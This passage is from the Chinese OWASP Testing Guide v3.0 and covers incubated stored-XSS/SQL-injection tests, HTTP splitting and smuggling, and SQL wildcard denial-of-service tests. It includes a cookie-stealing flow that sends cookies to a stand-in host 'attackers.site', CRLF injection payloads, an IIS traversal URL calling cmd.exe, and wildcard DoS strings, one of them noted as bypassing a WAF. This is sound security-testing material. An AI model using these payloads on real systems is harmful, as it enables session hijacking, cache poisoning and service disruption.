• An exploit string builder for format bugs - http://seclists.org/lists/pen-test/2001/Aug/0014.htm<br />

4.8.15 潜 伏 式 漏 洞 检 测 (OWASP-DV-015)<br />

概 述<br />

由 于 是 对 付 持 久 性 攻 击 , 潜 伏 检 测 是 一 个 需 要 多 个 数 据 验 证 漏 洞 工 作 的 复 杂 测 试 。 在 本 节 中 , 我 们 描 述 了 一 系 列 案<br />

例 来 检 测 一 个 潜 伏 式 漏 洞 。<br />

291


• 首 先 攻 击 媒 介 需 要 被 固 化 , 需 要 被 存 储 在 持 久 层 。 只 有 当 出 现 弱 数 据 验 证 或 通 过 其 它 渠 道 将 数 据 输 入 系<br />

统 , 例 如 管 理 控 制 台 或 直 接 通 过 后 端 批 处 理 过 程 , 才 会 出 现 问 题 ,。<br />

• 其 次 , 一 旦 攻 击 媒 介 被 ” 再 次 调 用 “, 它 必 须 被 成 功 执 行 。 例 如 , 潜 伏 的 XSS 攻 击 需 要 弱 输 出 验 证 , 这 样 才<br />

能 将 脚 本 按 照 可 执 行 的 形 式 传 递 给 客 户 端 。<br />

攻 击 者 利 用 web 应 用 程 序 的 漏 洞 或 功 能 性 特 征 就 能 植 入 一 些 数 据 , 并 在 其 后 由 一 些 信 任 用 户 或 其 它 系 统 组 件 获 取 ,<br />

来 暴 露 一 些 漏 洞 。<br />

在 渗 透 检 测 中 , 潜 伏 式 攻 击 可 以 用 于 评 估 某 些 漏 洞 的 重 要 性 。 使 用 所 发 现 的 安 全 问 题 来 建 立 一 个 基 于 客 户 端 的 攻<br />

击 , 通 常 用 于 同 时 攻 击 大 量 的 受 害 用 户 ( 如 正 在 浏 览 网 站 的 所 有 用 户 )。<br />

这 种 异 步 攻 击 包 括 大 范 围 的 攻 击 媒 介 , 其 中 有 :<br />

• Web 应 用 程 序 中 的 文 件 上 传 组 件 : 允 许 攻 击 者 上 载 损 坏 的 媒 体 文 件 ( 利 用 CVE-2004-0200 的 JPG 图 象 、 利 用<br />

CVE-2004-0597 的 png 图 象 、 可 执 行 文 件 、 包 含 活 跃 组 件 的 站 点 页 等 等 )<br />

• 在 公 共 论 坛 帖 子 中 的 跨 站 脚 本 问 题 ( 参 见 XSS 检 测 中 的 附 加 明 细 )。 攻 击 者 可 以 在 web 应 用 程 序 的 后 端 内 存<br />

中 潜 在 存 储 恶 意 脚 本 或 代 码 ( 例 如 , 数 据 库 ), 因 此 某 一 个 用 户 能 执 行 这 一 脚 本 / 代 码 ( 终 端 用 户 、 管 理 员 等<br />

等 )。 典 型 的 潜 伏 攻 击 就 是 , 在 用 户 论 坛 、 公 告 栏 、 博 客 中 使 用 跨 站 点 脚 本 漏 洞 在 存 在 漏 洞 的 网 页 注 入 一 些<br />

JavaScript 代 码 , 并 在 网 站 用 户 的 浏 览 器 中 呈 现 和 执 行 —— 利 用 该 ( 存 在 漏 洞 的 ) 站 点 的 在 用 户 浏 览 器 中 的<br />

原 始 的 信 任 等 级 。<br />

• SQL/XPATH 注 入 : 允 许 攻 击 者 上 载 内 容 到 数 据 库 。 这 些 内 容 将 随 后 作 为 网 页 的 活 动 内 容 的 一 部 分 被 得 到 。<br />

例 如 , 如 果 攻 击 者 可 以 在 公 告 栏 发 布 用 户 可 执 行 的 任 意 JavaScript, 当 JavaScript 被 用 户 执 行 后 , 他 就 可 能<br />

控 制 用 户 的 浏 览 器 ( 例 如 : XSS 代 理 )。<br />

• 配 置 错 误 的 服 务 器 允 许 安 装 Java 包 或 相 似 的 网 站 组 件 ( 例 如 :Tomcat、 或 Web 托 管 控 制 台 像 Plesk、<br />

CPanel、Helm 等 )。<br />

黑 盒 检 测 实 例<br />

a. 文 件 上 传 实 例<br />

查 看 允 许 上 传 到 web 应 用 程 序 的 内 容 类 型 和 所 产 生 的 上 传 文 件 的 URL。 在 用 户 查 看 或 下 载 的 本 地 用 户 工 作 站 中 上 传<br />

的 文 件 以 使 用 某 个 组 件 。<br />

发 送 给 受 害 者 一 封 电 子 邮 件 或 其 它 警 告 , 以 便 他 / 她 会 浏 览 网 页 。<br />

预 期 的 结 果 是 , 当 用 户 浏 览 结 果 网 页 或 下 载 并 执 行 受 信 任 网 站 的 文 件 时 , 会 触 发 该 漏 洞 。<br />

b. 公 告 栏 XSS 实 例<br />

292


OWASP 测 试 指 南 v3.0<br />

1. 使 用 JavaScript 代 码 作 为 存 在 漏 洞 的 字 段 名 的 值 , 例 如 :<br />

document.write('')<br />

2. 指 导 用 户 浏 览 漏 洞 网 页 或 等 待 用 户 浏 览 它 。 在 attackers.site( 攻 击 者 . 站 点 ) 主 机 上 安 装 “ 侦 听 器 ” 来 监 听 所 有 传<br />

入 的 连 接 。<br />

3. 当 用 户 浏 览 存 在 漏 洞 的 网 页 时 , 包 含 用 户 cookie 的 请 求 ( 以 上 嵌 入 的 document.cookie 作 为 请 求 URL 的 一 部<br />

分 ) 将 发 送 到 attackers.site( 攻 击 者 . 站 点 ) 主 机 , 如 以 下 内 容 :<br />

- GET /cv.jpg?SignOn=COOKIEVALUE1;%20ASPSESSIONID=ROGUEIDVALUE;<br />

%20JSESSIONID=ADIFFERENTVALUE:-1;%20ExpirePage=https://vulnerable.site/site/;<br />

TOKEN=28_Sep_2006_21:46:36_GMT HTTP/1.1<br />

4. 使 用 得 到 的 cookie 在 存 在 漏 洞 的 站 点 上 冒 充 用 户 。<br />

c. SQL 注 入 实 例<br />

通 常 情 况 下 , 许 多 案 例 通 过 利 用 SQL 注 入 漏 洞 进 行 跨 站 脚 本 攻 击 。 首 先 要 检 测 目 标 网 站 是 否 存 在 SQL 注 入 漏 洞 。 这<br />

在 第 4.2 节 SQL 注 入 检 测 中 已 有 描 述 。 每 一 个 SQL 注 入 漏 洞 都 存 在 一 个 根 本 的 制 约 因 素 描 述 攻 击 者 / 渗 透 测 试 者 允 许<br />

运 行 的 查 询 。 然 后 渗 透 测 试 者 必 须 将 他 所 设 计 的 XSS 攻 击 匹 配 到 允 许 插 入 的 入 口 。<br />

1 . 在 和 之 前 XSS 案 例 类 似 的 方 式 中 , 使 用 易 受 SQL 注 入 的 web 页 面 字 段 改 变 数 据 库 中 的 值 。 应 用 程 序 可 以 使 用 该<br />

值 作 为 输 入 在 没 有 经 过 适 当 过 滤 就 显 示 在 网 站 上 ( 这 可 能 是 一 个 SQL 注 入 和 跨 站 脚 本 问 题 的 组 合 ) 。 例 如 , 假 设 有<br />

一 个 footer 数 据 库 表 包 含 所 有 网 站 网 页 的 页 脚 , 其 中 包 括 出 现 在 每 个 网 页 底 部 的 法 律 通 知 的 notice 字 段 名 。 可 以 使<br />

用 下 列 查 询 将 JavaScript 代 码 注 入 到 数 据 库 中 footer 表 中 的 notice 字 段 名 中 。<br />

SELECT field1, field2, field3<br />

FROM table_x<br />

WHERE field2 = 'x';<br />

UPDATE footer<br />

SET notice = 'Copyright 1999-2030%20<br />

document.write(\'\')'<br />

WHERE notice = 'Copyright 1999-2030';<br />

2. 现 在 , 每 个 浏 览 该 网 站 的 用 户 都 将 悄 悄 地 发 送 他 的 Cookie 到 attackers.site( 攻 击 者 . 站 点 )( 步 骤 b.2<br />

至 b.4 )<br />

d. 服 务 器 配 置 错 误<br />

某 些 Web 服 务 器 显 示 一 个 管 理 界 面 , 可 能 允 许 攻 击 者 将 他 所 选 择 的 活 动 组 件 上 传 到 网 站 。 就 像 一 台 Apache<br />

Tomcat 服 务 器 , 它 不 强 制 使 用 有 力 的 凭 证 来 访 问 其 Web 应 用 程 序 管 理 器 ( 或 者 如 果 渗 透 测 试 者 能 够 通 过 其 它 手 段<br />

得 到 管 理 模 块 的 有 效 凭 据 )。 在 这 种 情 况 下 可 以 上 传 WAR 文 件 , 同 时 网 站 会 部 署 一 个 新 的 Web 应 用 程 序 。 这 不 仅 使<br />

293


渗 透 测 试 者 在 服 务 器 本 地 执 行 他 选 择 的 代 码 , 同 时 也 在 受 信 任 网 址 中 植 入 了 网 站 普 通 用 户 可 以 访 问 的 应 用 程 序 ( 最<br />

有 可 能 的 是 跟 访 问 其 它 网 站 相 比 拥 有 更 高 的 信 任 程 度 )。<br />

显 然 , 任 何 可 以 在 主 机 上 利 用 的 漏 洞 会 让 攻 击 者 得 到 webroot 写 的 权 限 。 而 通 过 这 种 漏 洞 在 服 务 器 上 更 改 网 页 内 容<br />

的 能 力 也 将 有 益 于 在 web 服 务 器 网 页 上 植 入 这 种 潜 伏 攻 击 ( 实 际 上 , 这 是 一 个 已 知 的 一 些 web 服 务 器 感 染 蠕 虫 以 及<br />

传 播 的 方 法 )。<br />

灰 盒 检 测 实 例<br />

灰 盒 / 白 盒 检 测 技 术 与 先 前 讨 论 的 相 同 。<br />

• 检 查 输 入 验 证 是 减 轻 这 个 漏 洞 的 关 键 。 如 果 企 业 中 的 其 它 系 统 使 用 相 同 的 持 久 层 , 那 幺 他 们 可 能 有 弱 输 入<br />

验 证 , 同 时 数 据 可 能 通 过 “ 后 门 ” 持 久 存 在 。<br />

• 为 了 抵 御 客 户 端 攻 击 的 “ 后 门 ” 问 题 , 必 须 使 用 输 出 验 证 以 便 被 篡 改 的 数 据 在 客 户 端 显 示 前 被 编 码 , 这 样<br />

就 不 会 执 行 。<br />

• 参 见 代 码 审 查 指 南 :<br />

http://www.owasp.org/index.php/Data_Validation_%28Code_Review%29#Data_validation_strategy<br />

参 考<br />

大 多 数 跨 站 点 脚 本 部 分 的 参 考 是 有 效 的 。 正 如 上 文 所 述 , 当 同 时 利 用 XSS 或 SQL 注 入 攻 击 时 , 会 执 行 潜 伏 攻 击 。<br />

公 告<br />

• CERT(R) Advisory CA-2000-02 Malicious HTML Tags Embedded in Client Web Requests - http://www.cert.org/advisories/CA-<br />

2000-02.html<br />

• Blackboard Academic Suite 6.2.23 +/-: Persistent cross-site scripting vulnerability - http://lists.grok.org.uk/pipermail/fulldisclosure/2006-July/048059.html<br />

白 皮 书<br />

• Web Application Security Consortium "Threat Classification, Cross-site scripting" -<br />

http://www.webappsec.org/projects/threat/classes/cross-site_scripting.shtml<br />

• Amit Klein (Sanctum) "Cross-site Scripting Explained" - http://www.sanctuminc.com/pdf/WhitePaper_CSS_Explained.pdf<br />

工 具<br />

• XSS-proxy - http://sourceforge.net/projects/xss-proxy<br />

• Paros - http://www.parosproxy.org/index.shtml<br />

• Burp Suite - http://portswigger.net/suite/<br />

• Metasploit - http://www.metasploit.com/<br />

294


OWASP 测 试 指 南 v3.0<br />

4.8.16 HTTP SPLITTING/SMUGGLING 测 试 (OWASP-DV-016)<br />

概 述<br />

在 这 一 章 中 我 们 将 通 过 利 用 Web 应 用 程 序 的 漏 洞 或 不 同 代 理 解 析 HTTP 信 息 的 特 殊 性 , 列 举 利 用 HTTP 协 议 特 定 功<br />

能 的 攻 击 。<br />

问 题 描 述<br />

分 析 两 种 针 对 特 定 的 HTTP Header 的 攻 击 : HTTP Splitting( 拆 分 ) 和 HTTPSmuggling( 偷 运 )。 第 一 种 攻 击 是 利 用<br />

缺 乏 输 入 清 除 , 允 许 入 侵 者 将 CR 和 LF 字 符 插 入 到 应 用 程 序 响 应 的 报 头 , 将 回 应 “ 拆 分 ” 成 两 个 不 同 的 HTTP 消<br />

息 。 攻 击 的 目 标 可 能 从 篡 改 缓 存 数 据 到 跨 站 脚 本 不 等 。 在 第 二 种 攻 击 中 , 攻 击 者 利 用 了 一 些 特 别 定 制 的 HTTP 消 息<br />

能 够 被 所 接 收 到 的 不 同 的 代 理 以 不 同 的 方 法 解 析 和 诠 释 这 个 事 实 。HTTPSmuggling 要 求 对 处 理 HTTP 信 息 的 不 同 的 代<br />

理 (Web 服 务 器 、 代 理 人 , 防 火 墙 ) 有 相 当 程 度 的 认 知 , 因 此 仅 在 灰 盒 测 试 部 分 才 有 这 种 攻 击 。<br />

黑 盒 检 测 实 例<br />

HTTP Splitting<br />

一 些 Web 应 用 程 序 使 用 用 户 输 入 的 一 部 分 产 生 响 应 中 的 报 头 的 值 。 最 简 单 的 例 子 是 根 据 用 户 提 交 的 值 进 行 的 复 位<br />

向 的 目 标 URL。 例 如 , 要 求 用 户 选 择 使 用 一 个 标 准 的 或 高 级 的 web 接 口 。 而 用 户 的 选 择 将 作 为 参 数 传 递 并 用 于 响 应<br />

报 头 中 触 发 对 相 关 网 页 的 复 位 向 。 更 具 体 地 说 , 如 果 该 参 数 ' 接 口 ' 的 值 是 ' 高 级 的 ' , 那 幺 应 用 程 序 将 使 用 下 面 内 容 响<br />

应 :<br />

HTTP/1.1 302 Moved Temporarily<br />

Date: Sun, 03 Dec 2005 16:22:19 GMT<br />

Location: http://victim.com/main.jsp?interface=advanced<br />

<br />

当 收 到 此 信 息 , 用 户 将 在 浏 览 器 中 看 到 报 头 中 Location 所 指 的 页 面 。 但 是 , 如 果 应 用 程 序 没 有 过 滤 用 户 输 入 , 就 可<br />

以 在 “ 接 口 ” 参 数 中 插 入 的 序 列 %0d%0a, 该 序 列 代 表 用 来 换 行 的 CRLF 序 列 。 在 这 一 点 上 , 我 们 将 能 够 触 发 一 个 响<br />

应 , 任 何 解 析 该 响 应 的 人 都 会 将 其 解 释 成 为 两 种 不 同 响 应 。 例 如 : 在 我 们 和 应 用 程 序 之 间 的 web 缓 存 。 攻 击 者 可 以<br />

利 用 这 一 点 篡 改 这 个 web 缓 存 , 以 便 能 在 之 后 所 有 序 列 请 求 中 提 供 错 误 内 容 。 例 如 : 在 之 前 案 例 中 , 渗 透 测 试 者 传<br />

递 下 面 数 据 作 为 接 口 参 数 :<br />

advanced%0d%0aContent-Length:%200%0d%0a%0d%0aHTTP/1.1%20200%20OK%0d%0aContent-<br />

Type:%20text/html%0d%0aContent-Length:%2035%0d%0a%0d%0aSorry,%20System%20Down<br />

The resulting answer from the vulnerable application will therefore be the following:<br />

HTTP/1.1 302 Moved Temporarily<br />

295


Date: Sun, 03 Dec 2005 16:22:19 GMT<br />

Location: http://victim.com/main.jsp?interface=advanced<br />

Content-Length: 0<br />

HTTP/1.1 200 OK<br />

Content-Type: text/html<br />

Content-Length: 35<br />

Sorry,%20System%20Down<br />

<br />

网 页 缓 存 将 看 到 两 个 不 同 的 响 应 。 因 此 如 果 在 第 一 个 请 求 后 攻 击 者 立 即 发 送 第 二 个 请 求 要 求 /index.html, 该 网 络 缓<br />

存 将 使 用 第 二 个 响 应 匹 配 该 请 求 并 缓 存 页 面 内 容 , 因 此 后 继 所 有 通 过 网 络 缓 存 器 的 victim.com/index.html 请 求 都 将<br />

收 到 “ 系 统 崩 溃 ” 的 消 息 。 这 样 , 攻 击 者 将 能 够 有 效 地 对 使 用 该 Web 缓 存 的 用 户 污 损 该 网 站 ( 如 果 Web 缓 存 是<br />

Web 应 用 程 序 的 一 个 反 向 代 理 , 那 就 是 整 个 互 联 网 ) 。 或 者 , 攻 击 者 可 以 传 送 给 这 些 用 户 一 个 能 引 发 跨 站 点 脚 本 攻<br />

击 的 JavaScript 片 段 , 如 窃 取 cookies 。 请 注 意 , 虽 然 该 漏 洞 存 在 于 应 用 程 序 , 其 目 标 则 是 其 用 户 。<br />

因 此 , 为 了 寻 找 这 个 弱 点 , 检 测 人 员 需 要 确 定 影 响 一 个 或 多 个 响 应 中 的 报 头 信 息 的 所 有 由 用 户 控 制 的 输 入 , 并 检 查<br />

他 / 她 是 否 能 成 功 在 其 中 注 入 Cr + LF 序 列 。 此 类 攻 击 最 有 可 能 的 候 选 报 头 包 括 :<br />

• Location/ 位 置<br />

• Set-Cookie/ 设 置 Cookie<br />

必 须 指 出 的 是 , 在 现 实 世 界 中 成 功 利 用 此 漏 洞 的 情 况 可 能 会 相 当 复 杂 , 因 为 几 个 因 素 必 须 考 虑 到 :<br />

1. 渗 透 测 试 者 必 须 在 虚 假 反 应 中 正 确 设 置 报 头 使 其 成 功 缓 存 ( 例 如 : 设 置 成 将 来 日 期 的 Last-Modified 标 题<br />

头 ) 。 他 / 她 也 可 能 必 须 先 发 布 一 个 在 报 头 中 含 有 "Pragma: no-cache" 的 请 求 , 来 破 坏 原 先 目 标 页 面 中 的 缓 存<br />

版 本 。<br />

2. 当 应 用 程 序 没 有 过 滤 CR + LF 序 列 时 , 他 可 能 可 以 过 滤 其 它 成 功 攻 击 需 要 字 符 ( 例 如 , “


OWASP 测 试 指 南 v3.0<br />

灰 盒 检 测 实 例<br />

了 解 web 应 用 程 序 和 攻 击 目 标 详 细 情 况 能 将 很 大 程 度 上 有 助 于 成 功 利 用 HTTPSplitting。 例 如 , 不 同 的 目 标 可 以 使 用<br />

不 同 的 方 法 确 定 第 一 个 HTTP 消 息 何 时 结 束 同 时 第 二 个 消 息 何 时 开 始 。 在 上 述 案 例 中 , 有 部 分 目 标 可 能 会 利 用 消 息<br />

边 界 。 还 有 部 分 目 标 会 假 设 不 同 信 息 通 过 不 同 数 据 包 传 送 。 其 它 的 将 分 配 一 些 预 定 长 度 的 块 给 每 个 消 息 : 在 这 种 情<br />

况 下 , 第 二 个 信 息 将 在 一 个 块 起 始 处 开 始 。 这 需 要 检 测 人 员 在 两 个 消 息 间 进 行 填 充 。 由 于 非 常 长 的 URL 有 可 能 被 截<br />

断 或 过 滤 , 因 此 当 将 存 在 漏 洞 的 参 数 发 送 到 URL 中 时 , 将 产 生 一 些 问 题 。 灰 盒 检 测 可 以 帮 助 攻 击 者 找 到 一 个 变 通 办<br />

法 : 例 如 , 一 些 应 用 服 务 器 将 允 许 使 用 POST 发 送 请 求 , 而 不 能 使 用 GET。<br />

HTTP Smuggling<br />

如 上 述 介 绍 中 所 述 ,HTTP Smuggling 利 用 了 通 过 不 同 代 理 ( 浏 览 器 , 网 页 缓 存 , 应 用 防 火 墙 ) 解 析 和 诠 释 特 别 定 制<br />

的 HTTP 信 息 的 不 同 的 方 式 。Chaim Linhart, Amit Klein, Ronen Heled 和 Steve Orrin 在 2005 年 发 现 了 这 一 相 对 新 的 攻<br />

击 。 存 在 多 种 可 能 的 应 用 程 序 而 我 们 将 分 析 其 中 一 个 最 特 别 的 : 绕 过 应 用 防 火 墙 。 其 它 情 况 的 更 多 详 情 请 参 见 原 始<br />

的 白 皮 书 ( 网 页 底 部 的 链 接 )。<br />

应 用 程 序 的 防 火 墙 绕 过<br />

有 几 个 产 品 能 使 系 统 管 理 员 根 据 一 些 已 知 的 嵌 入 请 求 中 的 恶 意 模 式 来 检 测 和 阻 止 敌 对 Web 请 求 。 例 如 , 臭 名 昭 著<br />

的 旧 式 的 Unicode 目 录 遍 历 攻 击 IIS 服 务 器 (http://www.securityfocus.com/bid/1806), 其 中 攻 击 者 可 以 通 过 发 送 类 似<br />

下 面 请 求 攻 击 wwwroot:<br />

http://target/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+<br />

当 然 , 通 过 检 查 在 URL 中 存 在 的 ".." 和 "cmd.exe" 等 字 符 串 很 容 易 发 现 和 过 滤 这 种 攻 击 。 但 是 ,IIS 5.0 对 内 容 超 过 48K<br />

字 节 的 POST 请 求 相 当 挑 剔 。 当 Content-Type 标 题 头 不 是 application/x-www-form-urlencoded 时 ,IIS 5.0 会 截 断 超 出<br />

此 限 制 的 所 有 内 容 。 渗 透 测 试 者 可 以 通 过 创 建 一 个 非 常 大 的 请 求 利 用 这 一 点 , 结 构 如 下 :<br />

POST /target.asp HTTP/1.1


该 案 例 中 请 求 #1 包 含 49223 字 节 , 其 中 也 包 括 请 求 #2 的 几 行 。 因 此 , 防 火 墙 ( 或 除 了 IIS 5.0 的 任 何 其 它 代 理 ) 可<br />

以 看 到 请 求 #1 但 看 不 到 请 求 #2( 其 数 据 将 只 是 请 求 #1 的 一 部 分 ), 能 看 到 请 求 #3 但 看 不 到 请 求 #4 ( 因 为 POST 将<br />

只 是 假 冒 标 题 头 xxxx 的 一 部 分 )。 现 在 ,IIS 5.0 会 发 生 什 幺 情 况 呢 ? 它 将 在 49152 字 节 后 停 止 解 析 请 求 #1( 因 为 已<br />

达 到 48K = 49152 字 节 的 限 制 ) , 并 因 此 将 重 新 并 单 独 解 析 请 求 #2。 请 求 #2 声 称 它 的 内 容 是 33 字 节 , 其 中 包 括<br />

“ xxxx : ” 之 前 的 所 有 内 容 , 使 IIS 错 过 了 请 求 #3( 被 当 作 请 求 #2 的 一 部 分 解 析 )。 由 于 请 求 #4 的 POST 正 好 是 请 求<br />

#2 后 面 的 第 33 个 字 符 开 始 的 , 因 此 IIS 能 解 析 请 求 #4。 这 个 过 程 确 实 有 一 点 复 杂 。 但 问 题 是 防 火 墙 不 能 检 测 到 这 个<br />

攻 击 URL( 它 被 解 析 成 前 面 一 个 请 求 的 内 容 ), 而 IIS 能 正 确 解 析 ( 并 执 行 )。<br />

在 上 述 情 况 下 , 所 使 用 的 技 术 利 用 了 Web 服 务 器 的 漏 洞 , 在 其 它 一 些 情 况 中 , 我 们 可 以 利 用 不 同 的 HTTP 设 备 没 有<br />

遵 循 1005RFC 规 范 , 而 使 用 了 不 同 的 方 法 来 解 析 消 息 这 个 特 点 。 例 如 , HTTP 协 议 只 允 许 一 个 Content-Length 标<br />

头 , 但 没 有 具 体 说 明 如 何 处 理 一 条 消 息 中 含 有 两 个 Content-Length 标 题 头 的 情 况 。 一 些 实 现 会 使 用 第 一 个 ; 而 其 它<br />

一 些 使 用 第 二 个 , 这 就 消 除 了 HTTP Smuggling 攻 击 的 方 法 。 另 一 个 例 子 是 对 GET 信 息 中 Content-Length 标 题 的 使<br />

用 。<br />

请 注 意 , HTTP Smuggling 不 在 目 标 Web 应 用 程 序 中 利 用 任 何 安 全 漏 洞 , 因 此 , 在 渗 透 测 试 中 很 难 利 用 客 户 端 找 到<br />

应 对 攻 击 的 方 法 , 得 想 些 办 法 。<br />

参 考<br />

白 皮 书<br />

• Amit Klein, "Divide and Conquer: HTTP Response Splitting, Web Cache Poisoning Attacks, and Related Topics" -<br />

http://www.watchfire.com/news/whitepapers.aspx<br />

• Chaim Linhart, Amit Klein, Ronen Heled, Steve Orrin: "HTTP Request Smuggling" -<br />

http://www.watchfire.com/news/whitepapers.aspx<br />

• Amit Klein: "HTTP Message Splitting, Smuggling and Other Animals" -<br />

http://www.owasp.org/images/1/1a/OWASPAppSecEU2006_HTTPMessageSplittingSmugglingEtc.ppt<br />

• Amit Klein: "HTTP Request Smuggling - ERRATA (the IIS 48K buffer phenomenon)" -<br />

http://www.securityfocus.com/archive/1/411418<br />

• Amit Klein: “HTTP Response Smuggling” - http://www.securityfocus.com/archive/1/425593<br />

4.9 阻 断 服 务 测 试<br />

最 常 见 的 阻 断 服 务 (DoS) 攻 击 令 网 络 中 其 它 合 法 用 户 不 能 连 接 到 服 务 器 。 网 络 DoS 攻 击 的 基 本 概 念 是 由 一 个 恶 意<br />

用 户 发 送 足 够 多 的 流 量 给 目 标 机 器 , 使 其 无 法 满 足 接 受 到 的 要 求 数 目 。 当 恶 意 用 户 使 用 很 多 机 器 对 某 一 个 目 标 机 器<br />

298


OWASP 测 试 指 南 v3.0<br />

进 行 发 送 流 量 时 , 这 通 常 被 叫 做 分 布 式 阻 断 服 务 攻 击 。 这 些 类 型 的 攻 击 通 常 情 况 下 超 出 了 网 页 应 用 开 发 者 所 写 代 码<br />

能 够 阻 止 的 范 围 。 这 种 “ 网 络 管 道 战 役 ” 在 网 络 结 构 途 径 之 下 得 以 缓 和 。<br />

不 管 怎 样 , 应 用 中 有 很 多 的 弱 点 可 以 被 恶 意 用 户 利 用 , 导 致 某 功 能 或 者 整 个 的 网 页 无 法 使 用 。 这 些 麻 烦 是 由 应 用 中<br />

的 程 序 错 误 引 起 的 , 通 常 是 因 为 恶 意 用 户 输 入 。 这 一 部 分 着 重 在 单 一 恶 意 用 户 使 用 单 一 机 器 引 起 的 应 用 层 攻 击 。<br />

下 面 是 我 们 要 讲 的 DoS 测 试 :<br />

1. SQL 通 配 符 攻 击 测 试 (OWASP-DS-001)<br />

2. 锁 定 用 户 账 户 (OWASP-DS-002)<br />

3. 缓 存 溢 出 (OWASP-DS-003)<br />

4. 分 配 用 户 指 定 对 象 (OWASP-DS-004)<br />

5. 将 用 户 输 入 作 为 循 环 计 数 器 (OWASP-DS-005)<br />

6. 将 用 户 提 供 的 数 据 写 到 磁 盘 (OWASP-DS-006)<br />

7. 释 放 资 源 失 败 (OWASP-DS-007)<br />

8. 存 储 过 多 会 话 数 据 (OWASP-DS-008)<br />

4.9.1 SQL 通 配 符 攻 击 测 试 (OWASP-DS-001)<br />

简 介<br />

SOL 通 配 符 攻 击 是 利 用 几 个 通 配 符 强 制 数 据 库 执 行 占 用 大 量 CPU 处 理 时 间 的 查 询 密 集 队 列 。 这 个 漏 洞 通 常 存 在 于 网<br />

络 应 用 程 序 的 搜 索 功 能 。 成 功 的 攻 击 操 作 会 引 起 阻 断 服 务 攻 击 。<br />

概 述<br />

SQL 通 配 符 攻 击 可 能 影 响 所 有 的 后 端 数 据 库 , 但 是 主 要 影 响 SQL 服 务 器 。 因 为 MS SQL 服 务 器 LIKE 操 作 支 持 额 外 的<br />

通 配 符 , 例 如 "[]","[^]","_" 和 "%"。<br />

在 一 个 典 型 的 Web 应 用 中 , 如 果 你 打 算 在 搜 索 栏 输 入 “foo”, 相 应 的 SQL 查 询 是 :<br />

SELECT * FROM Article WHERE Content LIKE '%foo%'<br />

299


这 条 语 句 在 一 个 拥 有 1-100000 记 录 的 数 据 库 里 执 行 时 间 不 足 一 秒 。 但 是 下 面 这 一 条 查 询 语 句 在 同 样 的 拥 有 2600 记<br />

录 的 数 据 库 里 需 要 6 秒 钟 :<br />

SELECT TOP 10 * FROM Article WHERE Content LIKE '%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-<br />

9]_%'<br />

所 以 , 如 果 测 试 者 希 望 6 秒 时 间 占 用 CPU, 只 需 要 在 搜 索 栏 输 入 以 下 语 句 :<br />

_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_<br />

黑 盒 测 试 及 举 例<br />

SQL 通 配 符 攻 击 测 试<br />

做 一 个 不 返 回 结 果 的 查 询 且 包 括 几 个 通 配 符 , 你 可 以 输 入 下 面 几 个 例 子 之 一 。 让 它 们 通 过 应 用 的 搜 索 部 件 。 如 果 应<br />

用 使 用 了 比 平 时 多 的 时 间 来 反 应 , 说 明 这 是 一 个 漏 洞 。<br />

用 以 攻 击 的 输 入 举 例 :<br />

• '%_[^!_%/%a?F%_D)_(F%)_%([)({}%){()}£$&N%_)$*£()$*R"_)][%](%[x])%a][$*"£$-9]_%'<br />

• '%64_[^!_%65/%aa?F%64_D)_(F%64)_%36([)({}%33){()}£$&N%55_)$*£()$*R"_)][%55](%66[x])%ba][$*"£$-9]_%54' bypasses<br />

modsecurity<br />

• _[r/a)_ _(r/b)_ _(r-d)_<br />

• %n[^n]y[^j]l[^k]d[^l]h[^z]t[^k]b[^q]t[^q][^n]!%<br />

• %_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%<br />

...<br />

预 期 结 果 :<br />

如 果 应 用 程 序 有 漏 洞 的 话 , 那 幺 响 应 时 间 会 比 平 常 久 。<br />

如 何 构 建 测 试 用 的 搜 索 字 符 串<br />

• 查 询 应 该 返 回 极 少 甚 至 不 返 回 结 果 。 这 样 的 话 , 我 们 就 能 确 定 的 确 是 强 制 数 据 库 服 务 器 搜 索 了 所 有 的 记<br />

录 。<br />

• 在 OR 运 算 中 , 每 一 个 OR 语 句 应 该 不 同 , 不 然 数 据 库 会 优 化 它 。 改 变 一 个 字 符 就 行 了 。<br />

• 在 Microsoft SQL Server, 每 一 个 中 括 号 [ 之 后 的 字 符 引 起 较 长 的 执 行 时 间 。 这 可 以 利 用 来 提 高 攻 击 的 效 果 。<br />

例 如 :<br />

o<br />

LIKE '%_[a[! -z]@$!_% - 1050 ms.<br />

300


OWASP 测 试 指 南 v3.0<br />

o<br />

o<br />

LIKE '%_[aaaaaaaaa[! -z]@$!_%' - 1600 ms.<br />

LIKE '%_[aaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaaa[! -z]@$!_%' - 3700 ms.<br />

• 长 查 询 通 常 需 要 的 执 行 时 间 长 。 构 建 应 用 允 许 的 可 能 的 最 长 的 查 询 。<br />

• 以 % 开 始 , 以 % 结 尾 通 常 能 让 查 询 运 行 更 久 。<br />

• 一 些 搜 索 可 能 隐 藏 搜 索 结 果 。 为 了 避 免 这 种 情 况 , 在 测 试 中 每 一 个 搜 索 查 询 应 该 有 细 微 的 不 同 。<br />

• 性 能 总 是 在 于 试 验 。 尝 试 不 同 的 结 合 找 到 特 定 目 标 系 统 或 数 据 最 有 效 的 查 询 。<br />

灰 盒 测 试 及 举 例<br />

SQL 通 配 符 攻 击 测 试<br />

查 询 执 行 时 间 可 以 在 数 据 库 服 务 器 里 观 察 到 ; 如 果 某 查 询 需 要 更 多 时 间 , 那 有 可 能 是 暗 示 SQL 通 配 符 攻 击 。<br />

在 测 试 应 用 层 DoS 攻 击 时 , 注 意 HTTP 日 志 和 分 析 响 应 时 间 是 很 重 要 的 。 如 果 某 页 的 某 查 询 的 响 应 时 间 比 通 常 久 ,<br />

这 些 页 很 有 可 能 能 够 进 行 SQL 通 配 符 攻 击 。<br />

参 考 文 献<br />

白 皮 书<br />

工 具<br />

• DoS Attacks Using SQL Wildcards<br />

• 测 试 可 以 人 工 进 行 。 同 样 的 , 也 可 以 用 一 个 fuzzer 工 具 来 自 动 进 行 这 个 进 程 。<br />

4.9.2 锁 定 用 户 账 户 (OWASP-DS-002)<br />

简 介<br />

在 这 个 测 试 里 面 我 们 检 查 攻 击 者 能 否 通 过 重 复 尝 试 用 错 误 密 码 登 陆 , 导 致 合 法 用 户 账 户 被 锁 定 。<br />

301


